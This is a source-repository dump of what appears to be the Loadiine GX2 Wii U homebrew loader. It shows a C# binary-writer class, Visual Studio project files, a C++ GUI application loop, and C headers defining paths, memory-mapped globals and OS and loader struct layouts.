for (int i = 0; i < count; i++)
{
Array.Copy(BitConverter.GetBytes(value[i + offset]), 0, buffer, i * size, size);
}
WriteBuffer(size * count, size);
}
public void Write(Int16 value)
{
const int size = sizeof(Int16);
CreateBuffer(size);
Array.Copy(BitConverter.GetBytes(value), 0, buffer, 0, size);
WriteBuffer(size, size);
}
public void Write(Int16[] value, int offset, int count)
{
const int size = sizeof(Int16);
CreateBuffer(size * count);
for (int i = 0; i < count; i++)
{
Array.Copy(BitConverter.GetBytes(value[i + offset]), 0, buffer, i * size, size);
}
WriteBuffer(size * count, size);
}
public void Write(UInt16 value)
{
const int size = sizeof(UInt16);
CreateBuffer(size);
Array.Copy(BitConverter.GetBytes(value), 0, buffer, 0, size);
WriteBuffer(size, size);
}
public void Write(UInt16[] value, int offset, int count)
{
const int size = sizeof(UInt16);
CreateBuffer(size * count);
for (int i = 0; i < count; i++)
{
Array.Copy(BitConverter.GetBytes(value[i + offset]), 0, buffer, i * size, size);
}
WriteBuffer(size * count, size);
}
public void Write(UInt32 value)
{
const int size = sizeof(UInt32);
CreateBuffer(size);
Array.Copy(BitConverter.GetBytes(value), 0, buffer, 0, size);
WriteBuffer(size, size);
}
public void Write(UInt32[] value, int offset, int count)
{
const int size = sizeof(UInt32);
CreateBuffer(size * count);
for (int i = 0; i < count; i++)
{
Array.Copy(BitConverter.GetBytes(value[i + offset]), 0, buffer, i * size, size);
}
WriteBuffer(size * count, size);
}
public void Write(UInt64 value)
{
const int size = sizeof(UInt64);
CreateBuffer(size);
Array.Copy(BitConverter.GetBytes(value), 0, buffer, 0, size);
WriteBuffer(size, size);
}
public void Write(UInt64[] value, int offset, int count)
{
const int size = sizeof(UInt64);
CreateBuffer(size * count);
for (int i = 0; i < count; i++)
{
Array.Copy(BitConverter.GetBytes(value[i + offset]), 0, buffer, i * size, size);
}
WriteBuffer(size * count, size);
}
public void WritePadding(int multiple, byte padding)
{
int length = (int)(BaseStream.Position % multiple);
if (length != 0)
while (length != multiple)
{
BaseStream.WriteByte(padding);
length++;
}
}
public void WritePadding(int multiple, byte padding, long from, int offset)
{
int length = (int)((BaseStream.Position - from) % multiple);
length = (length + offset) % multiple;
if (length != 0)
while (length != multiple)
{
BaseStream.WriteByte(padding);
length++;
}
}
private List> GetParser(Type type)
{
List> parser;
/* A parser describes how to read in a type in an Endian
* appropriate manner. Basically it describes as series of calls to
* the Read* methods above to parse the structure.
* The parser runs through each element in the list in order. If
* the TypeCode is not Empty then it reads an array of values
* according to the integer. Otherwise it skips a number of bytes. */
try
{
parser = parserCache[type];
}
catch (KeyNotFoundException)
{
parser = new List>();
if (Endianness != SystemEndianness)
{
int pos, sz;
pos = 0;
foreach (var item in type.GetFields())
{
int off = Marshal.OffsetOf(type, item.Name).ToInt32();
if (off != pos)
{
parser.Add(new Tuple(off - pos, TypeCode.Empty));
pos = off;
}
switch (Type.GetTypeCode(item.FieldType))
{
case TypeCode.Byte:
case TypeCode.SByte:
pos += 1;
parser.Add(new Tuple(1, Type.GetTypeCode(item.FieldType)));
break;
case TypeCode.Int16:
case TypeCode.UInt16:
pos += 2;
parser.Add(new Tuple(1, Type.GetTypeCode(item.FieldType)));
break;
case TypeCode.Int32:
case TypeCode.UInt32:
case TypeCode.Single:
pos += 4;
parser.Add(new Tuple(1, Type.GetTypeCode(item.FieldType)));
break;
case TypeCode.Int64:
case TypeCode.UInt64:
case TypeCode.Double:
pos += 8;
parser.Add(new Tuple(1, Type.GetTypeCode(item.FieldType)));
break;
case TypeCode.Object:
if (item.FieldType.IsArray)
{
/* array */
Type elementType;
MarshalAsAttribute[] attrs;
MarshalAsAttribute attr;
attrs = (MarshalAsAttribute[])item.GetCustomAttributes(typeof(MarshalAsAttribute), false);
if (attrs.Length != 1)
throw new ArgumentException(String.Format("Field `{0}' is an array without a MarshalAs attribute.", item.Name), "type");
attr = attrs[0];
if (attr.Value != UnmanagedType.ByValArray)
throw new ArgumentException(String.Format("Field `{0}' is not a ByValArray.", item.Name), "type");
elementType = item.FieldType.GetElementType();
switch (Type.GetTypeCode(elementType))
{
case TypeCode.Byte:
case TypeCode.SByte:
pos += 1 * attr.SizeConst;
parser.Add(new Tuple(attr.SizeConst, Type.GetTypeCode(elementType)));
break;
case TypeCode.Int16:
case TypeCode.UInt16:
pos += 2 * attr.SizeConst;
parser.Add(new Tuple(attr.SizeConst, Type.GetTypeCode(elementType)));
break;
case TypeCode.Int32:
case TypeCode.UInt32:
case TypeCode.Single:
pos += 4 * attr.SizeConst;
parser.Add(new Tuple(attr.SizeConst, Type.GetTypeCode(elementType)));
break;
case TypeCode.Int64:
case TypeCode.UInt64:
case TypeCode.Double:
pos += 8 * attr.SizeConst;
parser.Add(new Tuple(attr.SizeConst, Type.GetTypeCode(elementType)));
break;
case TypeCode.Object:
/* nested structure */
for (int i = 0; i < attr.SizeConst; i++)
{
pos += Marshal.SizeOf(elementType);
parser.AddRange(GetParser(elementType));
}
break;
default:
break;
}
}
else
{
/* nested structure */
pos += Marshal.SizeOf(item.FieldType);
parser.AddRange(GetParser(item.FieldType));
}
break;
default:
throw new NotImplementedException();
}
}
sz = Marshal.SizeOf(type);
if (sz != pos)
{
parser.Add(new Tuple(sz - pos, TypeCode.Empty));
}
}
else
{
int sz;
sz = Marshal.SizeOf(type);
parser.Add(new Tuple(sz, TypeCode.Byte));
}
parserCache.Add(type, parser);
}
return parser;
}
private void RunParser(List> parser, BinaryReader rd)
{
foreach (var item in parser)
{
/* Assumption: Types of the same size can be interchanged. */
switch (item.Item2)
{
case TypeCode.Byte:
case TypeCode.SByte:
Write(rd.ReadBytes(item.Item1), 0, item.Item1);
break;
case TypeCode.Int16:
case TypeCode.UInt16:
for (int i = 0; i < item.Item1; i++)
Write(rd.ReadInt16());
break;
case TypeCode.Int32:
case TypeCode.UInt32:
case TypeCode.Single:
for (int i = 0; i < item.Item1; i++)
Write(rd.ReadInt32());
break;
case TypeCode.Int64:
case TypeCode.UInt64:
case TypeCode.Double:
for (int i = 0; i < item.Item1; i++)
Write(rd.ReadInt64());
break;
case TypeCode.Empty:
rd.BaseStream.Seek(item.Item1, SeekOrigin.Current);
BaseStream.Seek(item.Item1, SeekOrigin.Current);
break;
default:
throw new NotImplementedException();
}
}
}
public void Write(object structure)
{
List> parser;
Type type;
byte[] data;
type = structure.GetType();
parser = GetParser(type);
data = new byte[Marshal.SizeOf(type)];
using (var ms = new MemoryStream(data))
{
using (var rd = new BinaryReader(ms))
{
Marshal.StructureToPtr(structure, Marshal.UnsafeAddrOfPinnedArrayElement(data, 0), true);
RunParser(parser, rd);
}
}
}
public void Write(Array structures)
{
List> parser;
Type type;
byte[] data;
type = structures.GetType().GetElementType();
parser = GetParser(type);
data = new byte[Marshal.SizeOf(type)];
using (var ms = new MemoryStream(data))
{
using (var rd = new BinaryReader(ms))
{
foreach (var structure in structures)
{
ms.Seek(0, SeekOrigin.Begin);
Marshal.StructureToPtr(structure, Marshal.UnsafeAddrOfPinnedArrayElement(data, 0), true);
RunParser(parser, rd);
}
}
}
}
public void Close()
{
BaseStream.Close();
}
public void Dispose()
{
Dispose(true);
GC.SuppressFinalize(this);
}
private void Dispose(bool disposing)
{
if (!disposed)
{
if (disposing)
{
}
BaseStream = null;
buffer = null;
disposed = true;
}
}
}
}
================================================
FILE: server/src/app.config
================================================
================================================
FILE: server/src/bin/Debug/loadiine_server.exe.config
================================================
================================================
FILE: server/src/bin/Debug/loadiine_server.vshost.exe.config
================================================
================================================
FILE: server/src/bin/Debug/loadiine_server.vshost.exe.manifest
================================================
================================================
FILE: server/src/loadiine_server.csproj
================================================
Debug
x86
8.0.30703
2.0
{84FB17D5-D67B-4B9E-9041-00424036BF2E}
Exe
Properties
loadiine_server
loadiine_server
v4.0
Client
512
x86
true
full
false
bin\Debug\
DEBUG;TRACE
prompt
4
x86
pdbonly
true
bin\Release\
TRACE
prompt
4
================================================
FILE: server/src/loadiine_server.sln
================================================
Microsoft Visual Studio Solution File, Format Version 11.00
# Visual Studio 2010
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "loadiine_server", "loadiine_server.csproj", "{84FB17D5-D67B-4B9E-9041-00424036BF2E}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x86 = Debug|x86
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{84FB17D5-D67B-4B9E-9041-00424036BF2E}.Debug|x86.ActiveCfg = Debug|x86
{84FB17D5-D67B-4B9E-9041-00424036BF2E}.Debug|x86.Build.0 = Debug|x86
{84FB17D5-D67B-4B9E-9041-00424036BF2E}.Release|x86.ActiveCfg = Release|x86
{84FB17D5-D67B-4B9E-9041-00424036BF2E}.Release|x86.Build.0 = Release|x86
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal
================================================
FILE: server/src/obj/x86/Debug/cafiine_server.csproj.FileListAbsolute.txt
================================================
C:\Users\golden\Desktop\cafiine532-v1.2-dump_files\cafiine532-v1.2-dump_files\cafiine\server\src\bin\Debug\cafiine_server.exe.config
C:\Users\golden\Desktop\cafiine532-v1.2-dump_files\cafiine532-v1.2-dump_files\cafiine\server\src\bin\Debug\cafiine_server.exe
C:\Users\golden\Desktop\cafiine532-v1.2-dump_files\cafiine532-v1.2-dump_files\cafiine\server\src\bin\Debug\cafiine_server.pdb
C:\Users\golden\Desktop\cafiine532-v1.2-dump_files\cafiine532-v1.2-dump_files\cafiine\server\src\obj\x86\Debug\ResolveAssemblyReference.cache
C:\Users\golden\Desktop\cafiine532-v1.2-dump_files\cafiine532-v1.2-dump_files\cafiine\server\src\obj\x86\Debug\cafiine_server.exe
C:\Users\golden\Desktop\cafiine532-v1.2-dump_files\cafiine532-v1.2-dump_files\cafiine\server\src\obj\x86\Debug\cafiine_server.pdb
C:\Users\golden\Desktop\supercafiine\src\obj\x86\Debug\ResolveAssemblyReference.cache
C:\Users\golden\Desktop\supercafiine\src\bin\Debug\loadiine_server.exe.config
C:\Users\golden\Desktop\supercafiine\src\bin\Debug\loadiine_server.exe
C:\Users\golden\Desktop\supercafiine\src\bin\Debug\loadiine_server.pdb
C:\Users\golden\Desktop\supercafiine\src\obj\x86\Debug\loadiine_server.exe
C:\Users\golden\Desktop\supercafiine\src\obj\x86\Debug\loadiine_server.pdb
================================================
FILE: server/src/obj/x86/Debug/loadiine_server.csproj.FileListAbsolute.txt
================================================
C:\Users\golden\Desktop\supercafiine\src\bin\Debug\loadiine_server.exe.config
C:\Users\golden\Desktop\supercafiine\src\obj\x86\Debug\loadiine_server.exe
C:\Users\golden\Desktop\supercafiine\src\obj\x86\Debug\loadiine_server.pdb
C:\Users\golden\Desktop\supercafiine\src\bin\Debug\loadiine_server.exe
C:\Users\golden\Desktop\supercafiine\src\bin\Debug\loadiine_server.pdb
C:\Users\golden\Desktop\supercafiine\src\obj\x86\Debug\ResolveAssemblyReference.cache
C:\Users\golden\Desktop\loadiine_server\src\bin\Debug\loadiine_server.exe.config
C:\Users\golden\Desktop\loadiine_server\src\obj\x86\Debug\loadiine_server.exe
C:\Users\golden\Desktop\loadiine_server\src\obj\x86\Debug\loadiine_server.pdb
C:\Users\golden\Desktop\loadiine_server\src\bin\Debug\loadiine_server.exe
C:\Users\golden\Desktop\loadiine_server\src\bin\Debug\loadiine_server.pdb
C:\Users\golden\Desktop\loadiine_server\src\obj\x86\Debug\ResolveAssemblyReference.cache
================================================
FILE: src/Application.cpp
================================================
/****************************************************************************
* Copyright (C) 2015 Dimok
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see .
****************************************************************************/
#include "Application.h"
#include "dynamic_libs/os_functions.h"
#include "gui/FreeTypeGX.h"
#include "gui/GuiImageAsync.h"
#include "gui/VPadController.h"
#include "gui/WPadController.h"
#include "game/GameList.h"
#include "resources/Resources.h"
#include "settings/CSettings.h"
#include "settings/CSettingsGame.h"
#include "sounds/SoundHandler.hpp"
#include "system/exception_handler.h"
#include "controller_patcher/ControllerPatcher.hpp"
#include "utils/logger.h"
#include "common/retain_vars.h"
//#include "controller_patcher/cp_retain_vars.h"
#include "video/CursorDrawer.h"
Application *Application::applicationInstance = NULL;
bool Application::exitApplication = false;
Application::Application()
: CThread(CThread::eAttributeAffCore0 | CThread::eAttributePinnedAff, 0, 0x20000)
, bgMusic(NULL)
, video(NULL)
, mainWindow(NULL)
{
controller[0] = new VPadController(GuiTrigger::CHANNEL_1);
controller[1] = new WPadController(GuiTrigger::CHANNEL_2);
controller[2] = new WPadController(GuiTrigger::CHANNEL_3);
controller[3] = new WPadController(GuiTrigger::CHANNEL_4);
controller[4] = new WPadController(GuiTrigger::CHANNEL_5);
CSettings::instance()->Load();
//! load HID settings
gHIDPADEnabled = CSettings::getValueAsU8(CSettings::HIDPadEnabled);
//! load resources
Resources::LoadFiles("sd:/wiiu/apps/loadiine_gx2/resources");
//! create bgMusic
if(CSettings::getValueAsString(CSettings::BgMusicPath).empty())
{
bgMusic = new GuiSound(Resources::GetFile("bgMusic.ogg"), Resources::GetFileSize("bgMusic.ogg"));
}
else
{
bgMusic = new GuiSound(CSettings::getValueAsString(CSettings::BgMusicPath).c_str());
}
bgMusic->SetLoop(true);
bgMusic->Play();
bgMusic->SetVolume(50);
//! load language
if(!CSettings::getValueAsString(CSettings::AppLanguage).empty()){
std::string languagePath = "sd:/wiiu/apps/loadiine_gx2/languages/" + CSettings::getValueAsString(CSettings::AppLanguage) + ".lang";
gettextLoadLanguage(languagePath.c_str());
}
exitApplication = false;
}
Application::~Application()
{
GameList::destroyInstance();
CSettings::instance()->Save();
CSettings::destroyInstance();
CSettingsGame::destroyInstance();
delete bgMusic;
for(int i = 0; i < 5; i++)
delete controller[i];
//We may have to handle Asyncdelete in the Destructors.
DEBUG_FUNCTION_LINE("Destroy async deleter\n");
do{
DEBUG_FUNCTION_LINE("Triggering AsyncDeleter\n");
AsyncDeleter::triggerDeleteProcess();
while(!AsyncDeleter::realListEmpty()){
os_usleep(1000);
}
}while(!AsyncDeleter::deleteListEmpty());
AsyncDeleter::destroyInstance();
GuiImageAsync::threadExit();
Resources::Clear();
SoundHandler::DestroyInstance();
gettextCleanUp();
if(!gHIDPADEnabled){
ControllerPatcher::destroyConfigHelper();
}
CursorDrawer::destroyInstance();
}
void Application::exec()
{
//! start main GX2 thread
resumeThread();
//! now wait for thread to finish
shutdownThread();
}
void Application::fadeOut()
{
GuiImage fadeOut(video->getTvWidth(), video->getTvHeight(), (GX2Color){ 0, 0, 0, 255 });
for(int i = 0; i < 255; i += 10)
{
if(i > 255)
i = 255;
fadeOut.setAlpha(i / 255.0f);
//! start rendering DRC
video->prepareDrcRendering();
mainWindow->drawDrc(video);
GX2SetDepthOnlyControl(GX2_DISABLE, GX2_DISABLE, GX2_COMPARE_ALWAYS);
fadeOut.draw(video);
GX2SetDepthOnlyControl(GX2_ENABLE, GX2_ENABLE, GX2_COMPARE_LEQUAL);
video->drcDrawDone();
//! start rendering TV
video->prepareTvRendering();
mainWindow->drawTv(video);
GX2SetDepthOnlyControl(GX2_DISABLE, GX2_DISABLE, GX2_COMPARE_ALWAYS);
fadeOut.draw(video);
GX2SetDepthOnlyControl(GX2_ENABLE, GX2_ENABLE, GX2_COMPARE_LEQUAL);
video->tvDrawDone();
//! as last point update the effects as it can drop elements
mainWindow->updateEffects();
video->waitForVSync();
}
//! one last cleared black screen
video->prepareDrcRendering();
video->drcDrawDone();
video->prepareTvRendering();
video->tvDrawDone();
video->waitForVSync();
video->tvEnable(false);
video->drcEnable(false);
}
void Application::executeThread(void)
{
//! setup exceptions on the main GX2 core
setup_os_exceptions();
DEBUG_FUNCTION_LINE("Loading game list\n");
GameList::instance()->loadUnfiltered();
DEBUG_FUNCTION_LINE("Initialize video\n");
video = new CVideo(GX2_TV_SCAN_MODE_720P, GX2_DRC_SINGLE);
DEBUG_FUNCTION_LINE("Video size %i x %i\n", video->getTvWidth(), video->getTvHeight());
//! setup default Font
DEBUG_FUNCTION_LINE("Initialize main font system\n");
FreeTypeGX *fontSystem = new FreeTypeGX(Resources::GetFile("font.ttf"), Resources::GetFileSize("font.ttf"), true);
GuiText::setPresetFont(fontSystem);
DEBUG_FUNCTION_LINE("Initialize main window\n");
mainWindow = new MainWindow(video->getTvWidth(), video->getTvHeight());
DEBUG_FUNCTION_LINE("Entering main loop\n");
//! main GX2 loop (60 Hz cycle with max priority on core 1)
while(!exitApplication)
{
mainWindow->lockGUI();
//! Read out inputs
for(int i = 0; i < 5; i++)
{
if(controller[i]->update(video->getTvWidth(), video->getTvHeight()) == false)
continue;
if(controller[i]->data.buttons_d & VPAD_BUTTON_HOME)
exitApplication = true;
//! update controller states
mainWindow->update(controller[i]);
}
//! start rendering DRC
video->prepareDrcRendering();
mainWindow->drawDrc(video);
video->drcDrawDone();
//! start rendering TV
video->prepareTvRendering();
mainWindow->drawTv(video);
video->tvDrawDone();
//! enable screen after first frame render
if(video->getFrameCount() == 0) {
video->tvEnable(true);
video->drcEnable(true);
}
//! as last point update the effects as it can drop elements
mainWindow->updateEffects();
mainWindow->unlockGUI();
video->waitForVSync();
//! transfer elements to real delete list here after all processes are finished
//! the elements are transfered to another list to delete the elements in a separate thread
//! and avoid blocking the GUI thread
AsyncDeleter::triggerDeleteProcess();
}
fadeOut();
delete mainWindow;
delete fontSystem;
delete video;
}
================================================
FILE: src/Application.h
================================================
/****************************************************************************
* Copyright (C) 2015 Dimok
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see .
****************************************************************************/
#ifndef _APPLICATION_H
#define _APPLICATION_H
#include "menu/MainWindow.h"
#include "video/CVideo.h"
#include "system/CThread.h"
class Application : public CThread
{
public:
static Application * instance() {
if(!applicationInstance)
applicationInstance = new Application();
return applicationInstance;
}
static void destroyInstance() {
if(applicationInstance) {
delete applicationInstance;
applicationInstance = NULL;
}
}
CVideo *getVideo(void) const {
return video;
}
MainWindow *getMainWindow(void) const {
return mainWindow;
}
GuiSound *getBgMusic(void) const {
return bgMusic;
}
void exec(void);
void fadeOut(void);
void quit(void) {
exitApplication = true;
}
private:
Application();
virtual ~Application();
static Application *applicationInstance;
static bool exitApplication;
void executeThread(void);
GuiSound *bgMusic;
CVideo *video;
MainWindow *mainWindow;
GuiController *controller[5];
};
#endif //_APPLICATION_H
================================================
FILE: src/common/common.h
================================================
#ifndef COMMON_H
#define COMMON_H
#ifdef __cplusplus
extern "C" {
#endif
#define LOADIINE_VERSION "v0.3"
#define IS_USING_MII_MAKER 1
/* Loadiine common paths */
#define CAFE_OS_SD_PATH "/vol/external01"
#define SD_PATH "sd:"
#define USB_PATH "usb:"
#define WIIU_PATH "/wiiu"
#define GAMES_PATH "/games"
#define SAVES_PATH "/saves"
#define SD_GAMES_PATH WIIU_PATH GAMES_PATH
#define SD_SAVES_PATH WIIU_PATH SAVES_PATH
#define CONTENT_PATH "/content"
#define RPX_RPL_PATH "/code"
#define META_PATH "/meta"
/* file replacement */
#define UPDATE_PATH "/updates"
#define COMMON_UPDATE_PATH ""
#define FILELIST_NAME "filelist.txt"
#define DIR_IDENTIFY "?" /* maximum length = 1*/
#define PARENT_DIR_IDENTIFY "?.."
/* Macros for libs */
#define LIB_CORE_INIT 0
#define LIB_NSYSNET 1
#define LIB_GX2 2
#define LIB_AOC 3
#define LIB_AX 4
#define LIB_FS 5
#define LIB_OS 6
#define LIB_PADSCORE 7
#define LIB_SOCKET 8
#define LIB_SYS 9
#define LIB_VPAD 10
#define LIB_NN_ACP 11
#define LIB_SYSHID 12
#define LIB_VPADBASE 13
#define LIB_AX_OLD 14
#define LIB_PROC_UI 15
#define LIB_NTAG 16
#define LIB_NFP 17
#define LIB_SAVE 18
#define LIB_ACT 19
#define LIB_NIM 20
// functions types
#define STATIC_FUNCTION 0
#define DYNAMIC_FUNCTION 1
// none dynamic libs
#define LIB_LOADER 0x1001
/* Loadiine Modes */
#define LOADIINE_MODE_MII_MAKER 0
#define LOADIINE_MODE_SMASH_BROS 1
#define LOADIINE_MODE_KARAOKE 2
#define LOADIINE_MODE_ART_ATELIER 3
#define LOADIINE_MODE_DEFAULT 255
/* homebrew launcher return codes */
#ifndef EXIT_SUCCESS
#define EXIT_SUCCESS 0
#endif
#define EXIT_RELAUNCH_ON_LOAD 0xFFFFFFFD
/* RPX Address : where the rpx is copied or retrieve, depends if we dump or replace */
/* Note : from phys 0x30789C5D to 0x31E20000, memory seems empty (space reserved for root.rpx) which let us approximatly 22.5mB of memory free to put the rpx and additional rpls */
#ifndef MEM_BASE
#define MEM_BASE (0x00800000)
#endif
#define ELF_DATA_ADDR (*(volatile unsigned int*)(MEM_BASE + 0x1300 + 0x00))
#define ELF_DATA_SIZE (*(volatile unsigned int*)(MEM_BASE + 0x1300 + 0x04))
#define MAIN_ENTRY_ADDR (*(volatile unsigned int*)(MEM_BASE + 0x1400 + 0x00))
#define OS_FIRMWARE (*(volatile unsigned int*)(MEM_BASE + 0x1400 + 0x04))
#define PREP_TITLE_CALLBACK (*(volatile unsigned int*)(MEM_BASE + 0x1400 + 0x08))
#define SERVER_IP (*(volatile unsigned int*)(MEM_BASE + 0x1400 + 0x0C))
#define RPX_CHECK_NAME (*(volatile unsigned int*)(MEM_BASE + 0x1400 + 0x10))
#define GAME_RPX_LOADED (*(volatile unsigned int*)(MEM_BASE + 0x1400 + 0x14))
#define GAME_LAUNCHED (*(volatile unsigned int*)(MEM_BASE + 0x1400 + 0x18))
#define LOADIINE_MODE (*(volatile unsigned int*)(MEM_BASE + 0x1400 + 0x1C)) // loadiine operation mode (1 = smash bros, 0 = mii maker)
#define OS_SPECIFICS ((OsSpecifics*)(MEM_BASE + 0x1500))
typedef struct _game_paths_t
{
char os_game_path_base[511];
char os_save_path_base[511];
char game_dir[255];
char update_folder[255];
char save_dir_common[10];
char save_dir_user[10];
int extraSave;
} game_paths_t;
#ifdef __cplusplus
}
#endif
#endif /* COMMON_H */
================================================
FILE: src/common/kernel_defs.h
================================================
#ifndef __KERNEL_DEFS_H_
#define __KERNEL_DEFS_H_
#include "types.h"
#include "dynamic_libs/fs_defs.h"
#ifdef __cplusplus
extern "C" {
#endif
// original structure in the kernel that is originally 0x1270 long
typedef struct
{
uint32_t version_cos_xml; // version tag from cos.xml
uint64_t os_version; // os_version from app.xml
uint64_t title_id; // title_id tag from app.xml
uint32_t app_type; // app_type tag from app.xml
uint32_t cmdFlags; // unknown tag as it is always 0 (might be cmdFlags from cos.xml but i am not sure)
char rpx_name[0x1000]; // rpx name from cos.xml
uint32_t unknown2; // 0x050B8304 in mii maker and system menu (looks a bit like permissions complex that got masked!?)
uint32_t unknown3[63]; // those were all zeros, but its probably connected with unknown2
uint32_t max_size; // max_size in cos.xml which defines the maximum amount of memory reserved for the app
uint32_t avail_size; // avail_size or codegen_size in cos.xml (seems to mostly be 0?)
uint32_t codegen_size; // codegen_size or avail_size in cos.xml (seems to mostly be 0?)
uint32_t codegen_core; // codegen_core in cos.xml (seems to mostly be 1?)
uint32_t max_codesize; // max_codesize in cos.xml
uint32_t overlay_arena; // overlay_arena in cos.xml
uint32_t unknown4[59]; // all zeros it seems
uint32_t default_stack0_size; // not sure because always 0 but very likely
uint32_t default_stack1_size; // not sure because always 0 but very likely
uint32_t default_stack2_size; // not sure because always 0 but very likely
uint32_t default_redzone0_size; // not sure because always 0 but very likely
uint32_t default_redzone1_size; // not sure because always 0 but very likely
uint32_t default_redzone2_size; // not sure because always 0 but very likely
uint32_t exception_stack0_size; // from cos.xml, 0x1000 on mii maker
uint32_t exception_stack1_size; // from cos.xml, 0x1000 on mii maker
uint32_t exception_stack2_size; // from cos.xml, 0x1000 on mii maker
uint32_t sdk_version; // from app.xml, 20909 (0x51AD) on mii maker
uint32_t title_version; // from app.xml, 0x32 on mii maker
/*
// ---------------------------------------------------------------------------------------------------------------------------------------------
// the next part might be changing from title to title?! I don't think its important but nice to know maybe....
// ---------------------------------------------------------------------------------------------------------------------------------------------
char mlc[4]; // string "mlc" on mii maker and sysmenu
uint32_t unknown5[7]; // all zeros on mii maker and sysmenu
uint32_t unknown6_one; // 0x01 on mii maker and sysmenu
// ---------------------------------------------------------------------------------------------------------------------------------------------
char ACP[4]; // string "ACP" on mii maker and sysmenu
uint32_t unknown7[15]; // all zeros on mii maker and sysmenu
uint32_t unknown8_5; // 0x05 on mii maker and sysmenu
uint32_t unknown9_zero; // 0x00 on mii maker and sysmenu
uint32_t unknown10_ptr; // 0xFF23DD0C pointer on mii maker and sysmenu
// ---------------------------------------------------------------------------------------------------------------------------------------------
char UVD[4]; // string "UVD" on mii maker and sysmenu
uint32_t unknown11[15]; // all zeros on mii maker and sysmenu
uint32_t unknown12_5; // 0x05 on mii maker and sysmenu
uint32_t unknown13_zero; // 0x00 on mii maker and sysmenu
uint32_t unknown14_ptr; // 0xFF23EFC8 pointer on mii maker and sysmenu
// ---------------------------------------------------------------------------------------------------------------------------------------------
char SND[4]; // string "SND" on mii maker and sysmenu
uint32_t unknown15[15]; // all zeros on mii maker and sysmenu
uint32_t unknown16_5; // 0x05 on mii maker and sysmenu
uint32_t unknown17_zero; // 0x00 on mii maker and sysmenu
uint32_t unknown18_ptr; // 0xFF23F014 pointer on mii maker and sysmenu
// ---------------------------------------------------------------------------------------------------------------------------------------------
uint32_t unknown19; // 0x02 on miimaker, 0x0F on system menu
*/
// after that only zeros follow
} __attribute__((packed)) CosAppXmlInfo;
// Our own cos/app.xml struct which uses only uses as much memory as really needed, since many things are just zeros in the above structure
// This structure is only 0x64 bytes long + RPX name length (dynamic up to 0x1000 theoretically)
typedef struct
{
uint32_t version_cos_xml; // version tag from cos.xml
uint64_t os_version; // os_version from app.xml
uint64_t title_id; // title_id tag from app.xml
uint32_t app_type; // app_type tag from app.xml
uint32_t cmdFlags; // unknown tag as it is always 0 (might be cmdFlags from cos.xml but i am not sure)
uint32_t max_size; // max_size in cos.xml which defines the maximum amount of memory reserved for the app
uint32_t avail_size; // avail_size or codegen_size in cos.xml (seems to mostly be 0?)
uint32_t codegen_size; // codegen_size or avail_size in cos.xml (seems to mostly be 0?)
uint32_t codegen_core; // codegen_core in cos.xml (seems to mostly be 1?)
uint32_t max_codesize; // max_codesize in cos.xml
uint32_t overlay_arena; // overlay_arena in cos.xml
uint32_t default_stack0_size; // not sure because always 0 but very likely
uint32_t default_stack1_size; // not sure because always 0 but very likely
uint32_t default_stack2_size; // not sure because always 0 but very likely
uint32_t default_redzone0_size; // not sure because always 0 but very likely
uint32_t default_redzone1_size; // not sure because always 0 but very likely
uint32_t default_redzone2_size; // not sure because always 0 but very likely
uint32_t exception_stack0_size; // from cos.xml, 0x1000 on mii maker
uint32_t exception_stack1_size; // from cos.xml, 0x1000 on mii maker
uint32_t exception_stack2_size; // from cos.xml, 0x1000 on mii maker
uint32_t sdk_version; // from app.xml, 20909 (0x51AD) on mii maker
uint32_t title_version; // from app.xml, 0x32 on mii maker
char rpx_name[FS_MAX_ENTNAME_SIZE]; // rpx name from cos.xml, length 256 as it can't get bigger from FS anyway
} __attribute__((packed)) ReducedCosAppXmlInfo;
typedef struct _bat_t
{
u32 h;
u32 l;
} bat_t;
typedef struct _bat_table_t
{
bat_t bat[8];
} bat_table_t;
#ifdef __cplusplus
}
#endif
#endif // __KERNEL_DEFS_H_
================================================
FILE: src/common/loader_defs.h
================================================
#ifndef __LOADER_DEFS_H_
#define __LOADER_DEFS_H_
#include "types.h"
#ifdef __cplusplus
extern "C" {
#endif
// struct holding the globals of the loader (there are actually more but we don't need others)
typedef struct _loader_globals_t
{
int sgIsLoadingBuffer;
int sgFileType;
int sgProcId;
int sgGotBytes;
int sgFileOffset;
int sgBufferNumber;
int sgBounceError;
char sgLoadName[0x1000];
} __attribute__((packed)) loader_globals_t;
typedef struct _loader_globals_550_t
{
int sgFinishedLoadingBuffer;
int sgFileType;
int sgProcId;
int sgGotBytes;
int sgTotalBytes;
int sgFileOffset;
int sgBufferNumber;
int sgBounceError;
char sgLoadName[0x1000];
} __attribute__((packed)) loader_globals_550_t;
#ifdef __cplusplus
}
#endif
#endif // __LOADER_DEFS_H_
================================================
FILE: src/common/os_defs.h
================================================
#ifndef __OS_DEFS_H_
#define __OS_DEFS_H_
#ifdef __cplusplus
extern "C" {
#endif
typedef struct _OsSpecifics
{
unsigned int addr_OSDynLoad_Acquire;
unsigned int addr_OSDynLoad_FindExport;
unsigned int addr_OSTitle_main_entry;
unsigned int addr_KernSyscallTbl1;
unsigned int addr_KernSyscallTbl2;
unsigned int addr_KernSyscallTbl3;
unsigned int addr_KernSyscallTbl4;
unsigned int addr_KernSyscallTbl5;
} OsSpecifics;
#ifdef __cplusplus
}
#endif
#endif // __OS_DEFS_H_
================================================
FILE: src/common/retain_vars.c
================================================
#include
u8 gSettingLaunchPyGecko __attribute__((section(".data"))) = 0;
u8 gSettingUseUpdatepath __attribute__((section(".data"))) = 0;
u8 gSettingPadconMode __attribute__((section(".data"))) = 0;
